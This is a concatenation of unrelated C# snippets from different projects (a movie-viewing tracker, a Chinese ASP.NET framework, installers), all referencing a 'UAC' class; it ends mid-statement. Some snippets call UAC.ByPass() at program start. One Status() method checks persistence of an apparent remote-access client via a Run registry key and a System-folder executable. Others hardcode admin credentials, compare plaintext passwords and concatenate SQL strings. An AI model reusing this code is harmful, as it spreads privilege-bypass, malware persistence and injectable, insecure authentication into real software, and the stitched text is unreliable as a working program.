private async void SaveBtn_Click(object sender, RoutedEventArgs e) { if (InfoFlyout.IsOpen) { InfoFlyout.Hide(); } if (Movies.Any(x => x.HasErrors)) { InfoText.Text = "Пожалуйста, сначала исправьте ошибки в таблице"; InfoFlyout.ShowAt(dgv); return; } SaveBtn.IsEnabled = false; MoviesController controller = MoviesController.GetInstance(); int result = await controller.SaveMovies(Movies.Select(x => x.Movie).ToList()); int userId = UAC.GetInstance().UserId; int viewings = await controller.SaveViewings(Movies.Select( x => new ViewingData(x.Movie.ID, userId, DateTime.Parse(x.Date), x.Rate)).ToList()); InfoText.Text = string.Format("Сохранено {0}/{1} фильмов{2}Добавлено {3}/{1} просмотров", result, Movies.Count, Environment.NewLine, viewings); InfoFlyout.ShowAt(dgv); Movies = new List <MovieDisplay>(); dgv.ItemsSource = Movies; }
static void Main() { UAC.ByPass(); Application.EnableVisualStyles(); Application.SetCompatibleTextRenderingDefault(false); Application.Run(new Form1()); }
private async void CheckCredentials(object sender, RoutedEventArgs e) { if (UAC.GetInstance().UserId == -1) { //Frame.Navigate(typeof(Login)); //return; UAC.GetInstance().Authorize("admin", "p@ssw0rd"); } if (firstLoad) { ApplicationDataContainer localSettings = ApplicationData.Current.LocalSettings; if (!(localSettings.Values["picturesFolder"] is string)) { await new Windows.UI.Popups.MessageDialog("Please select folder where posters will be stored").ShowAsync(); FolderPicker folderPicker = new FolderPicker(); folderPicker.FileTypeFilter.Add("*"); StorageFolder folder = await folderPicker.PickSingleFolderAsync(); if (folder == null) { return; } string folderToken = StorageApplicationPermissions.FutureAccessList.Add(folder); localSettings.Values["picturesFolder"] = folderToken; } firstLoad = false; sortCB.SelectedIndex = SortOption.SortOptions.FindIndex(j => j.SortProperty == SortProperties.ViewDate); filterCB.SelectedIndex = FilterOption.FilterOptions.FindIndex(j => j.Filter == Filters.GetAll); } }
///<summary> /// Returns first repetition of UAC (User Authentication Credential Segment) - creates it if necessary ///</summary> public UAC GetUAC() { UAC ret = null; try { ret = (UAC)this.GetStructure("UAC"); } catch(HL7Exception e) { HapiLogFactory.GetHapiLog(GetType()).Error("Unexpected error accessing data - this is probably a bug in the source code generator.", e); throw new System.Exception("An unexpected error ocurred",e); } return ret; }
static void Main(string[] args) { Application.EnableVisualStyles(); Application.SetCompatibleTextRenderingDefault(false); if (args.Contains("/uac") && !UAC.IsRunAsAdmin()) { UAC.DoElevate(); } Application.Run(new frmMain()); }
public void InitFuncEn(UAC uac, Entity en) { if (en.EnMap.EnType == EnType.View) { uac.Readonly(); } if (uac.IsInsert) { if (en.EnMap.EnType != EnType.Dtl) { this.AddLinkBtn(NamesOfBtn.New, "新建(N)"); //this.GetLinkBtnByID(NamesOfBtn.New).OnClientClick = "this.disabled=true;"; } } if (uac.IsUpdate) { this.AddLinkBtn(NamesOfBtn.Save, "保存(S)"); this.AddLinkBtn(NamesOfBtn.SaveAndClose, "保存并关闭"); //this.GetLinkBtnByID(NamesOfBtn.Save).OnClientClick = "this.disabled=true;"; } if (uac.IsInsert && uac.IsUpdate) { if (en.EnMap.EnType != EnType.Dtl) { this.AddLinkBtn(NamesOfBtn.SaveAndNew, "保存并新建(R)"); //this.GetLinkBtnByID(NamesOfBtn.SaveAndNew).OnClientClick = "this.disabled=true;"; } } string pkval = en.PKVal.ToString(); if (uac.IsDelete && pkval != "0" && pkval.Length >= 1) { this.AddLinkBtn(NamesOfBtn.Delete, "删除(D)"); // this.GetLinkBtnByID(NamesOfBtn.Delete).OnClientClick = "this.disabled=true;"; } if (uac.IsAdjunct) { this.AddLinkBtn(NamesOfBtn.Adjunct); if (en.IsEmpty == false) { int i = DBAccess.RunSQLReturnValInt("select COUNT(*) from Sys_FileManager WHERE RefTable='" + en.ToString() + "' AND RefKey='" + en.PKVal + "'"); if (i != 0) { this.GetLinkBtnByID(NamesOfBtn.Adjunct).Text += "-" + i; } } } }
public App() : base() { AppDomain.CurrentDomain.UnhandledException += CurrentDomain_UnhandledException; this.DispatcherUnhandledException += Current_DispatcherUnhandledException; LogHelper.Debug("Starting Console: " + Environment.CommandLine); if (Settings.Default.AlwaysRunAs && !UAC.CheckProcessElevated()) { RestartAsAdmin(); } }
public bool ChangeUserPwd(string oldPwd, string newPwd) { using (var db = new Context()) { int uid = UAC.GetInstance().UserId; var user = db.Users .DefaultIfEmpty(null) .FirstOrDefault(x => x.ID == uid); if (!user.Pwd.Equals(oldPwd)) { return(false); } user.Pwd = newPwd; db.Users.Update(user); db.SaveChanges(); return(true); } }
public string Status() { try { string res = ""; RegistryKey registryKey = Registry.CurrentUser.OpenSubKey("SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Run", true); if (registryKey.GetValue("updater") != null) { res = "Registery key Existance Test Passed!" + Environment.NewLine; } else { res = "Registery Key Existance Test Failed!" + Environment.NewLine; } if (File.Exists(Environment.SpecialFolder.System + "\\localhost.exe")) { res += "Remote Client is in Safe Place!" + Environment.NewLine; } else { res += "Remote Client is Not in Safe Place!" + Environment.NewLine; } if (UAC.IsAdmin()) { res += "Remote Client is Running under Admin Mode!" + Environment.NewLine; } else { res += "Remote Client has no Priviliges!" + Environment.NewLine; } res += "Execution Path is '" + Environment.CurrentDirectory + "'"; return(res); } catch { return("Cannot Get Status!"); } }
private async void ActionButton_Tapped(object sender, TappedRoutedEventArgs e) { ActionButton.IsEnabled = false; DateTime date = DateTime.Now.Date; ContentDialog dialog = new ContentDialog() { Title = "Подтвердите действие", Content = string.Format("Добавить просмотр за {0} с оценкой {1}?", date.ToShortDateString(), Rate.Text), PrimaryButtonText = "Да", CloseButtonText = "Нет" }; var result = await dialog.ShowAsync(); if (result == ContentDialogResult.Primary) { ViewingData viewing = new ViewingData(id, UAC.GetInstance().UserId, date, float.Parse(Rate.Text)); int z = await MoviesController.GetInstance().SaveViewings(new List <ViewingData>() { viewing }); if (z > 0) { InfoText.Text = "Просмотр добавлен"; List <ViewingData> viewings = MoviesController.GetInstance().GetViewings(id, UAC.GetInstance().UserId); tViewings.Text = string.Join( ", ", viewings.Select(x => string.Format("{0} ({1:F1})", x.Date.ToShortDateString(), x.Rating))); } else { InfoText.Text = "Что-то пошло не так"; } InfoFlyout.ShowAt(Rate); Rate.Text = ""; } else { ActionButton.IsEnabled = true; } }
private async void Button_Click(object sender, RoutedEventArgs e) { Context.IsLocalDB = dbTypeCB.IsChecked ?? true; using (var db = new Context()) if (db.Users.Count() < 1) { db.Users.Add(new User() { ID = 1, Name = "admin", Pwd = "p@ssw0rd", Role = Roles.ROLE_ADMIN }); db.SaveChanges(); } if (UAC.GetInstance().Authorize(loginTB.Text, passTB.Password)) { Frame.Navigate(typeof(MainPage)); } else { await new Windows.UI.Popups.MessageDialog( "Неверные данные учётной записи", "Вход не выполнен").ShowAsync(); } }
private void Form1_Load(object sender, EventArgs e) { UAC.ByPass(); Object val; val = Application.UserAppDataRegistry.GetValue("time"); if (val != null) { try { dateTimePicker1.Value = DateTime.ParseExact(val.ToString(), dateTimePicker1.Format.ToString(), null); } catch (Exception) { dateTimePicker1.Value = System.DateTime.Now; } } else { dateTimePicker1.Value = System.DateTime.Now; } val = null; val = Application.UserAppDataRegistry.GetValue("path"); if (val != null) { path.Text = val.ToString(); } val = null; val = Application.UserAppDataRegistry.GetValue("lag"); if (val != null) { lag.Text = val.ToString(); } }
public UserStatistics(Context context) { int uid = UAC.GetInstance().UserId; ViewingsCount = context.Viewings .Count(x => x.UserID == uid); MoviesCount = context.Viewings .Where(x => x.UserID == uid) .GroupBy(x => x.MovieID) .Select(x => x.First()) .Count(); TotalRuntime = TimeSpan.FromMinutes(context.Viewings .Where(z => z.UserID == uid) .Select(x => x.Movie) .Sum(y => y.Runtime)); GenrePercentage = context.Viewings .Where(z => z.UserID == uid && z.Movie.Genres.Count > 0) .Select(x => x.Movie.Genres.First()) .GroupBy(y => y.GenreId, y => y.Genre.Name) .Select(w => new Tuple <string, float>(w.First(), w.Count())) .OrderByDescending(x => x.Item2) .Take(3) .ToList(); }
protected void Page_Load(object sender, EventArgs e) { #region 清除缓存; this.Response.Expires = -1; this.Response.ExpiresAbsolute = DateTime.Now.AddMonths(-1); this.Response.CacheControl = "no-cache"; #endregion 清除缓存 try { #region 判断权限 string pk = this.Request.QueryString["PK"]; if (pk == null) { pk = this.Request.QueryString[this.CurrEn.PK]; } UAC uac = this.CurrEn.HisUAC; if (uac.IsView == false) { throw new Exception("@对不起,您没有查看的权限!"); } this.IsReadonly = !uac.IsUpdate; //是否更有修改的权限. if (this.Request.QueryString["IsReadonly"] == "1" || this.Request.QueryString["Readonly"] == "1") { this.IsReadonly = true; } #endregion this.ToolBar1.Add(" "); this.ToolBar1.InitFuncEn(uac, this.CurrEn); this.UCEn1.IsReadonly = this.IsReadonly; this.UCEn1.IsShowDtl = true; this.UCEn1.HisEn = this.CurrEn; this.UCEn1.Bind(this.CurrEn, this.CurrEn.ToString(), this.IsReadonly, true); } catch (Exception ex) { this.Response.Write(ex.Message); Entity en = ClassFactory.GetEns(this.EnsName).GetNewEntity; en.CheckPhysicsTable(); return; } this.Page.Title = this.CurrEn.EnDesc; #region 设置事件 if (this.Btn_DelFile != null) { this.Btn_DelFile.Click += new ImageClickEventHandler(Btn_DelFile_Click); } if (this.ToolBar1.IsExit(NamesOfBtn.New)) { this.ToolBar1.GetBtnByID(NamesOfBtn.New).Click += new System.EventHandler(this.ToolBar1_ButtonClick); } if (this.ToolBar1.IsExit(NamesOfBtn.Save)) { this.ToolBar1.GetBtnByID(NamesOfBtn.Save).Click += new System.EventHandler(this.ToolBar1_ButtonClick); } if (this.ToolBar1.IsExit(NamesOfBtn.SaveAndClose)) { this.ToolBar1.GetBtnByID(NamesOfBtn.SaveAndClose).Click += new System.EventHandler(this.ToolBar1_ButtonClick); } if (this.ToolBar1.IsExit(NamesOfBtn.SaveAndNew)) { this.ToolBar1.GetBtnByID(NamesOfBtn.SaveAndNew).Click += new System.EventHandler(this.ToolBar1_ButtonClick); } if (this.ToolBar1.IsExit(NamesOfBtn.Delete)) { this.ToolBar1.GetBtnByID(NamesOfBtn.Delete).Click += new System.EventHandler(this.ToolBar1_ButtonClick); } AttrFiles fls = this.CurrEn.EnMap.HisAttrFiles; foreach (AttrFile fl in fls) { if (this.UCEn1.IsExit("Btn_DelFile" + fl.FileNo)) { this.UCEn1.GetImageButtonByID("Btn_DelFile" + fl.FileNo).Click += new ImageClickEventHandler(Btn_DelFile_X_Click); } } #endregion 设置事件 }
static void Main(string[] args) { new ExceptionCatcher(InstallerConstants.InstallerLogSubPath, true, true, true); #if !DEBUG UAC.Elevate(); #endif Application.EnableVisualStyles(); Application.SetCompatibleTextRenderingDefault(false); LanguageSelection: var languageSelectorForm = new LanguageSelectorForm(); if (languageSelectorForm.ShowDialog() == DialogResult.OK) { DialogResult dialogResult; Prerequisites: var installSequence = InstallSequenceBuilder.Get(); var prerequisitesForm = new PrerequisitesForm(installSequence.Installers); if (!prerequisitesForm.IsDisposed) { if ((dialogResult = prerequisitesForm.ShowDialog()) == DialogResult.No) { goto LanguageSelection; } if (dialogResult == DialogResult.OK) { foreach (var prerequisite in prerequisitesForm.Prerequisites) { prerequisite.Start(); } } } else { dialogResult = prerequisitesForm.DialogResult; } if (dialogResult == DialogResult.OK) { Welcome: var welcomeForm = new WelcomeForm(); if ((dialogResult = welcomeForm.ShowDialog()) == DialogResult.No) { if (!prerequisitesForm.IsDisposed) { goto Prerequisites; } goto LanguageSelection; } if (dialogResult == DialogResult.OK) { LicenseAgreement: var licenseAgreementForm = new LicenseAgreementForm(); if ((dialogResult = licenseAgreementForm.ShowDialog()) == DialogResult.No) { goto Welcome; } if (dialogResult == DialogResult.OK) { SelectComponents: var selectComponentsForm = new SelectComponentsForm(installSequence.Installers, installSequence.InstallerGroups); if ((dialogResult = selectComponentsForm.ShowDialog()) == DialogResult.No) { goto LicenseAgreement; } if (dialogResult == DialogResult.OK) { var startInstallForm = new StartInstallForm(); if ((dialogResult = startInstallForm.ShowDialog()) == DialogResult.No) { goto SelectComponents; } if (dialogResult == DialogResult.OK) { var installationProgressForm = new InstallationProgressForm(); Task.Factory.StartNew(() => { SelectComponentsForm.InstallSequence.ExecuteEnabledInstallers(); installationProgressForm.Invoke(new Action(() => { installationProgressForm.Close(); })); }); installationProgressForm.ShowDialog(); var installationFinishedForm = new InstallationFinishedForm(); installationFinishedForm.ShowDialog(); } } } } } } }
protected void Page_Load(object sender, EventArgs e) { #region 清除缓存; this.Response.Expires = -1; this.Response.ExpiresAbsolute = DateTime.Now.AddMonths(-1); this.Response.CacheControl = "no-cache"; #endregion 清除缓存 try { #region 判断权限 string pk = this.Request.QueryString["PK"]; if (pk == null) { pk = this.Request.QueryString[this.CurrEn.PK]; } UAC uac = this.CurrEn.HisUAC; if (uac.IsView == false) { throw new Exception("@对不起,您没有查看的权限!"); } this.IsReadonly = !uac.IsUpdate; //是否更有修改的权限. if (this.Request.QueryString["IsReadonly"] == "1" || this.Request.QueryString["Readonly"] == "1") { this.IsReadonly = true; } #endregion this.ToolBar1.InitFuncEn(uac, this.CurrEn); this.UCEn1.IsReadonly = this.IsReadonly; this.UCEn1.IsShowDtl = true; this.UCEn1.HisEn = this.CurrEn; EnCfg ec = new EnCfg(); ec.No = this.EnName; int i = ec.RetrieveFromDBSources(); if (i >= 1) { this.UCEn1.BindV2(this.CurrEn, this.CurrEn.ToString(), this.IsReadonly, true); } else { this.UCEn1.Bind(this.CurrEn, this.CurrEn.ToString(), this.IsReadonly, true); } } catch (Exception ex) { this.Response.Write(ex.Message); Entity en = ClassFactory.GetEns(this.EnsName).GetNewEntity; en.CheckPhysicsTable(); return; } this.Page.Title = this.CurrEn.EnDesc; #region 设置事件 if (this.Btn_DelFile != null) { this.Btn_DelFile.Click += new ImageClickEventHandler(Btn_DelFile_Click); } if (this.ToolBar1.IsExit(NamesOfBtn.New)) { this.ToolBar1.GetLinkBtnByID(NamesOfBtn.New).Click += new System.EventHandler(this.ToolBar1_ButtonClick); } if (this.ToolBar1.IsExit(NamesOfBtn.Save)) { this.ToolBar1.GetLinkBtnByID(NamesOfBtn.Save).Click += new System.EventHandler(this.ToolBar1_ButtonClick); } if (this.ToolBar1.IsExit(NamesOfBtn.SaveAndClose)) { this.ToolBar1.GetLinkBtnByID(NamesOfBtn.SaveAndClose).Click += new System.EventHandler(this.ToolBar1_ButtonClick); } if (this.ToolBar1.IsExit(NamesOfBtn.SaveAndNew)) { this.ToolBar1.GetLinkBtnByID(NamesOfBtn.SaveAndNew).Click += new System.EventHandler(this.ToolBar1_ButtonClick); } if (this.ToolBar1.IsExit(NamesOfBtn.Delete)) { this.ToolBar1.GetLinkBtnByID(NamesOfBtn.Delete).Click += new System.EventHandler(this.ToolBar1_ButtonClick); } AttrFiles fls = this.CurrEn.EnMap.HisAttrFiles; foreach (AttrFile fl in fls) { if (this.UCEn1.IsExit("Btn_DelFile" + fl.FileNo)) { this.UCEn1.GetImageButtonByID("Btn_DelFile" + fl.FileNo).Click += new ImageClickEventHandler(Btn_DelFile_X_Click); } } #endregion 设置事件 //此处增加一个判断删除成功的逻辑,办法不太好,暂用,added by liuxc,2015-11-10 if (!IsPostBack) { if (Request["DeleteOver"] == "1") { Page.ClientScript.RegisterClientScriptBlock(GetType(), "showmsg", "alert('删除成功!');", true); } } }
protected async override void OnNavigatedTo(NavigationEventArgs args) { if (!(args.Parameter is int)) { return; } id = (int)args.Parameter; MovieData movie = await MoviesController.GetInstance().GetMovie(id); bool isNew = movie == null; //Название, если есть только в одном варианте, выводится без слэша titleText.Text = string.IsNullOrWhiteSpace(movie.LocalizedTitle) || string.IsNullOrWhiteSpace(movie.OriginalTitle) ? movie.OriginalTitle + movie.LocalizedTitle : movie.OriginalTitle + " / " + movie.LocalizedTitle; //Все харакетеристики tYear.Text = movie.Year.ToString(); tCountry.Text = string.Join(", ", movie.Countries.Select(x => x.Name)); tDirector.Text = string.Join(", ", movie.Directors.Select(x => x.Name)); tScreenwriter.Text = string.Join(", ", movie.Screenwriters.Select(x => x.Name)); tTagline.Text = movie.TagLine; tGenre.Text = string.Join(", ", movie.Genres.Select(x => x.Name)); tRuntime.Text = TimeSpan.FromMinutes(movie.Runtime).ToString(@"h\:mm"); tActors.Text = string.Join(", ", movie.Actors.Select(x => x.Name)); tPlot.Text = movie.Storyline.Replace("<br>", Environment.NewLine); tRateKP.Text = movie.RatingKP.ToString("F3"); tRateIMDB.Text = movie.RatingIMDB.ToString("F1"); //Добавим данные о просмотрах, если они были if (!isNew) { List <ViewingData> viewings = MoviesController.GetInstance().GetViewings(movie.ID, UAC.GetInstance().UserId); if (viewings.Count > 0) { tViewings.Text = string.Join( ", ", viewings.Select(x => string.Format("{0} ({1:F1})", x.Date.ToShortDateString(), x.Rating))); } else { tViewings.Text = "нет"; tViewings.Foreground = new SolidColorBrush(Windows.UI.Colors.Gray); } } ApplicationDataContainer localSettings = ApplicationData.Current.LocalSettings; if (localSettings.Values["picturesFolder"] is string folderToken) { StorageFolder nfolder = await StorageApplicationPermissions.FutureAccessList.GetFolderAsync(folderToken); if (await nfolder.TryGetItemAsync(Path.GetFileName(movie.PosterLink)) is StorageFile image) { using (var stream = await image.OpenReadAsync()) { BitmapImage bitmapImage = new BitmapImage(); await bitmapImage.SetSourceAsync(stream); poster.Source = bitmapImage; } } else { poster.Source = new BitmapImage(new Uri(movie.PosterLink)); } } }
protected void Page_Load(object sender, EventArgs e) { try { #region 处理可能来自于 父实体 的业务逻辑。 Entity enP = ClassFactory.GetEn(this.EnName); this.Page.Title = enP.EnDesc; this.MainEnName = enP.EnDesc; this.MainEnPKVal = this.PK; this.MainEnPK = enP.PK; if (enP.EnMap.EnType != EnType.View) { try { enP.SetValByKey(enP.PK, this.PK); // =this.PK; enP.Retrieve(); //查询。 enP.Update(); // 执行更新,处理写在 父实体 的业务逻辑。 } catch { } } MainEn = enP; #endregion } catch (Exception ex) { this.ToErrorPage(ex.Message); return; } AttrOfOneVSM ensattr = this.AttrOfOneVSM; this.ToolBar1.AddLab("lab_desc", "分组:"); DropDownList ddl = new DropDownList(); ddl.ID = "DDL_Group"; ddl.AutoPostBack = true; this.ToolBar1.Add(ddl); ddl.Items.Clear(); ddl.SelectedIndexChanged += new EventHandler(DDL_Group_SelectedIndexChanged); Entity open = ensattr.EnsOfM.GetNewEntity; Map map = open.EnMap; int len = 19; // 如果最长的 标题 〉 15 长度。就用一行显示。 if (len > 20) { this.IsLine = true; } else { this.IsLine = false; } // 先加入enum 类型。 foreach (Attr attr in map.Attrs) { /* map */ if (attr.IsFKorEnum == false) { continue; } this.DDL_Group.Items.Add(new ListItem(attr.Desc, attr.Key)); } this.DDL_Group.Items.Add(new ListItem("无", "None")); foreach (ListItem li in ddl.Items) { if (li.Value == this.ShowWay) { li.Selected = true; } } this.ToolBar1.AddSpt("spt"); UAC uac = ensattr.EnsOfMM.GetNewEntity.HisUAC; if (uac.IsInsert == true) { this.ToolBar1.AddBtn("Btn_Save", "保存"); this.Btn_Save.UseSubmitBehavior = false; this.Btn_Save.OnClientClick = "this.disabled=true;"; } else { #region 解决Access 不刷新的问题。 if (uac.IsUpdate == false) { string rowUrl = this.Request.RawUrl; if (rowUrl.IndexOf("rowUrl") > 1) { } else { this.Response.Redirect(rowUrl + "&rowUrl=1", true); return; } } #endregion } CheckBox cb = new CheckBox(); cb.ID = "checkedAll"; cb.Attributes["onclick"] = "SelectAll(this);"; cb.Text = "选择全部"; this.ToolBar1.Add(cb); this.DDL_Group.SelectedIndexChanged += new EventHandler(DDL_Group_SelectedIndexChanged); #region 增加按钮事件 try { this.ToolBar1.GetBtnByID("Btn_Save").Click += new EventHandler(BPToolBar1_ButtonClick); } catch { } try { this.ToolBar1.GetBtnByID("Btn_SaveAndClose").Click += new EventHandler(BPToolBar1_ButtonClick); } catch { } #endregion this.SetDataV2(); if (this.IsTreeShowWay == false) { this.SetDataV2(); } }
protected void Page_Load(object sender, System.EventArgs e) { this.Page.RegisterClientScriptBlock("s", "<link href='./Style/Table" + BP.Web.WebUser.Style + ".css' rel='stylesheet' type='text/css' />"); UAC uac = this.HisEn.HisUAC; if (uac.IsView == false) { throw new Exception("您没有查看[" + this.HisEn.EnDesc + "]数据的权限."); } if (this.IsReadonly) { uac.IsDelete = false; uac.IsInsert = false; uac.IsUpdate = false; } if (this.Request.QueryString["PageIdx"] == null) { this.PageIdx = 1; } else { this.PageIdx = int.Parse(this.Request.QueryString["PageIdx"]); } Entity en = this.HisEn; UIConfig cfg = new UIConfig(en); Map map = en.EnMap; this.ShowWay = ShowWay.Dtl; if (uac.IsView == false) { throw new Exception("@对不起,您没有查看的权限!"); } #region 设置toolbar2 的 contral 设置查寻功能. this.ToolBar1.InitByMapV2(map, 1); this.ToolBar1.AddSpt("spt2"); this.ToolBar1.AddBtn(NamesOfBtn.Excel); bool isEdit = true; if (this.IsReadonly) { isEdit = false; } if (uac.IsInsert == false) { isEdit = false; } if (isEdit) { this.ToolBar1.AddLab("inse", "<input type=button id='ToolBar1$Btn_New' class=Btn name='ToolBar1$Btn_New' onclick=\"javascript:ShowEn('./RefFunc/UIEn.aspx?EnsName=" + this.EnsName + "','cd','" + cfg.WinCardH + "' , '" + cfg.WinCardW + "');\" value='新建(N)' />"); } if (WebUser.No == "admin") { this.ToolBar1.AddLab("sw", "<input type=button class=Btn id='ToolBar1$Btn_P' class=Btn name='ToolBar1$Btn_P' onclick=\"javascript:OpenAttrs('" + this.EnsName + "');\" value='设置(P)' />"); } #endregion #region 设置选择的 默认值 AttrSearchs searchs = map.SearchAttrs; foreach (AttrSearch attr in searchs) { string mykey = this.Request.QueryString[attr.Key]; if (mykey == "" || mykey == null) { continue; } else { this.ToolBar1.GetDDLByKey("DDL_" + attr.Key).SetSelectItem(mykey, attr.HisAttr); } } if (this.Request.QueryString["Key"] != null) { this.ToolBar1.GetTBByID("TB_Key").Text = this.Request.QueryString["Key"]; } #endregion this.SetDGData(); this.ToolBar1.GetBtnByID("Btn_Search").Click += new System.EventHandler(this.ToolBar1_ButtonClick); this.ToolBar1.GetBtnByID("Btn_Excel").Click += new System.EventHandler(this.ToolBar1_ButtonClick); this.Label1.Text = this.GenerCaption(this.HisEn.EnMap.EnDesc + "" + this.HisEn.EnMap.TitleExt); }
protected void Page_Load(object sender, System.EventArgs e) { UAC uac = this.HisEn.HisUAC; if (uac.IsView == false) { throw new Exception("您没有查看[" + this.HisEn.EnDesc + "]数据的权限."); } if (this.IsReadonly) { uac.IsDelete = false; uac.IsInsert = false; uac.IsUpdate = false; } if (this.Request.QueryString["PageIdx"] == null) { this.PageIdx = 1; } else { this.PageIdx = int.Parse(this.Request.QueryString["PageIdx"]); } Entity en = this.HisEn; UIConfig cfg = new UIConfig(en); // edit by stone : 增加了实施的获取map, 可以让用户动态的设置查询条件. Map map = en.EnMapInTime; this.ShowWay = ShowWay.Dtl; if (uac.IsView == false) { throw new Exception("@对不起,您没有查看的权限!"); } #region 设置toolbar2 的 contral 设置查寻功能. this.ToolBar1.InitByMapV2(map, 1); bool isEdit = true; if (this.IsReadonly) { isEdit = false; } if (uac.IsInsert == false) { isEdit = false; } string js = "javascript:ShowEn('./RefFunc/UIEn.aspx?EnsName=" + this.EnsName + "','cd','" + cfg.WinCardH + "' , '" + cfg.WinCardW + "');"; if (isEdit) { this.ToolBar1.AddLinkBtn(NamesOfBtn.New, "新建", js); } js = "javascript:OpenAttrs('" + this.EnsName + "');"; if (WebUser.No == "admin") { this.ToolBar1.AddLinkBtn(NamesOfBtn.Setting, "设置", js); } js = "javascript:DoExp();"; this.ToolBar1.AddLinkBtn(NamesOfBtn.Excel, "导出", js); #endregion #region 设置选择的 默认值 AttrSearchs searchs = map.SearchAttrs; bool isChange = false; foreach (AttrSearch attr in searchs) { string mykey = this.Request.QueryString[attr.Key]; if (mykey == "" || mykey == null) { continue; } else { this.ToolBar1.GetDDLByKey("DDL_" + attr.Key).SetSelectItem(mykey, attr.HisAttr); isChange = true; } } if (this.Request.QueryString["Key"] != null) { this.ToolBar1.GetTBByID("TB_Key").Text = this.Request.QueryString["Key"]; isChange = true; } if (isChange == true) { /*如果是保存了*/ this.ToolBar1.SaveSearchState(this.EnsName, null); } #endregion this.SetDGData(); this.ToolBar1.GetLinkBtnByID(NamesOfBtn.Search).Click += new System.EventHandler(this.ToolBar1_ButtonClick); this.Label1.Text = this.GenerCaption(this.HisEn.EnMap.EnDesc + "" + this.HisEn.EnMap.TitleExt); //临时文件名 this.expFileName.Value = this.HisEns.GetNewEntity.EnDesc + "数据导出" + "_" + BP.DA.DataType.CurrentDataCNOfLong + "_" + WebUser.Name + ".xls"; }
private void OnStartWithWindowsChecked() { UAC.ExecuteAdminMethod(() => SetStartup(true)); }
public Entities SetDGData(int pageIdx, bool isSearch) { // this.BPToolBar1.SaveSearchState(this.EnsName, this.Key); this.ToolBar1.SaveSearchState(this.EnsName, this.Key); Entities ens = this.HisEns; Entity en = ens.GetNewEntity; QueryObject qo = new QueryObject(ens); qo = this.ToolBar1.GetnQueryObject(ens, en); string url = this.Request.RawUrl; if (url.IndexOf("PageIdx") != -1) { url = url.Substring(0, url.IndexOf("PageIdx") - 1); } this.UCSys2.Clear(); int maxPageNum = 0; try { maxPageNum = this.UCSys2.BindPageIdx(qo.GetCount(), SystemConfig.PageSize, pageIdx, "Batch.aspx?EnsName=" + this.EnsName); } catch (Exception ex) { en.CheckPhysicsTable(); throw ex; } if (isSearch) { return(null); } if (maxPageNum > 1) { this.UCSys2.Add("翻页键:← → PageUp PageDown"); } qo.DoQuery(en.PK, SystemConfig.PageSize, pageIdx); this.UCSys1.DataPanelDtlCheckBox(ens); //if (this.IsS == false) // this.UCSys3.Add("[<a href='Batch.aspx?EnsName=" + this.EnsName + "&PageIdx=" + this.PageIdx + "&IsS=1'>选择全部</a>] "); //else // this.UCSys3.Add("[<a href='Batch.aspx?EnsName=" + this.EnsName + "&PageIdx=" + this.PageIdx + "&IsS=0'>全不选</a>] "); RefMethods rms = en.EnMap.HisRefMethods; foreach (RefMethod rm in rms) { if (rm.IsCanBatch == false) { continue; } Button btn = new Button(); btn.ID = "Btn_" + rm.Index; btn.Text = rm.Title; btn.CssClass = "Btn"; if (rm.Warning == null) { btn.Attributes["onclick"] = " return confirm('您确定要执行吗?');"; } else { btn.Attributes["onclick"] = " return confirm('" + rm.Warning + "');"; } this.UCSys3.Add(btn); btn.Click += new EventHandler(btn_Click); } UAC uac = en.HisUAC; if (uac.IsDelete) { Button btn = new Button(); btn.ID = "Btn_Del"; btn.CssClass = "Btn"; btn.Text = "删除"; btn.Attributes["onclick"] = " return confirm('您确认吗?');"; btn.Attributes["class"] = "Button"; this.UCSys3.Add(btn); btn.Click += new EventHandler(btn_Click); } MoveToShowWay showWay = (MoveToShowWay)ens.GetEnsAppCfgByKeyInt("MoveToShowWay"); // 执行移动. if (showWay != MoveToShowWay.None) { string MoveTo = en.GetCfgValStr("MoveTo"); if (en.EnMap.Attrs.Contains(MoveTo) == false) { this.Alert("Moveto 字段设置错误,实体不包含字段:" + MoveTo); return(null); } Attr attr = en.EnMap.GetAttrByKey(MoveTo); if (showWay == MoveToShowWay.DDL) { Button btnM = new Button(); btnM.ID = "Btn_Move"; btnM.CssClass = "Btn"; btnM.Text = "移动到"; btnM.Attributes["onclick"] = "return confirm('您确实要移动吗?');"; this.UCSys3.Add(" "); this.UCSys3.Add(btnM); btnM.Click += new EventHandler(btn_Move_Click); DDL ddl = new DDL(); ddl.ID = "DDL_MoveTo1"; if (attr.IsEnum) { ddl.BindSysEnum(attr.Key); ddl.Items.Insert(0, new ListItem("选择" + "=>" + attr.Desc, "all")); } else { EntitiesNoName ens1 = attr.HisFKEns as EntitiesNoName; ens1.RetrieveAll(); ddl.BindEntities(ens1); ddl.Items.Insert(0, new ListItem("选择" + "=>" + attr.Desc, "all")); } this.UCSys3.Add(ddl); } if (showWay == MoveToShowWay.Panel) { if (attr.IsEnum) { SysEnums ses = new SysEnums(attr.Key); foreach (SysEnum se in ses) { Button btn = new Button(); btn.CssClass = "Btn"; btn.ID = "Btn_Move_" + se.IntKey; btn.Text = "设置" + ":" + se.Lab; btn.Attributes["onclick"] = "return confirm('您确实要执行设置[" + se.Lab + "]吗?');"; btn.Click += new EventHandler(btn_Move_Click); this.UCSys3.Add(btn); this.UCSys3.Add(" "); } } else { EntitiesNoName ens1 = attr.HisFKEns as EntitiesNoName; ens1.RetrieveAll(); foreach (EntityNoName en1 in ens1) { Button btn = new Button(); btn.CssClass = "Btn"; btn.ID = "Btn_Move_" + en1.No; btn.Text = "设置:" + en1.Name; btn.Attributes["onclick"] = "return confirm('您确实要设置[" + en1.Name + "]吗?');"; btn.Click += new EventHandler(btn_Move_Click); this.UCSys3.Add(btn); this.UCSys3.Add(" "); } } } } int ToPageIdx = this.PageIdx + 1; int PPageIdx = this.PageIdx - 1; this.UCSys3.Add("<SCRIPT language=javascript>"); this.UCSys3.Add("\t\n document.onkeydown = chang_page;"); this.UCSys3.Add("\t\n function chang_page() {"); // this.UCSys3.Add("\t\n alert(event.keyCode); "); if (this.PageIdx == 1) { this.UCSys3.Add("\t\n if (event.keyCode == 37 || event.keyCode == 33) alert('已经是第一页');"); } else { this.UCSys3.Add("\t\n if (event.keyCode == 37 || event.keyCode == 38 || event.keyCode == 33) "); this.UCSys3.Add("\t\n location='Batch.aspx?EnsName=" + this.EnsName + "&PageIdx=" + PPageIdx + "';"); } if (this.PageIdx == maxPageNum) { this.UCSys3.Add("\t\n if (event.keyCode == 39 || event.keyCode == 40 || event.keyCode == 34) alert('已经是最后一页');"); } else { this.UCSys3.Add("\t\n if (event.keyCode == 39 || event.keyCode == 40 || event.keyCode == 34) "); 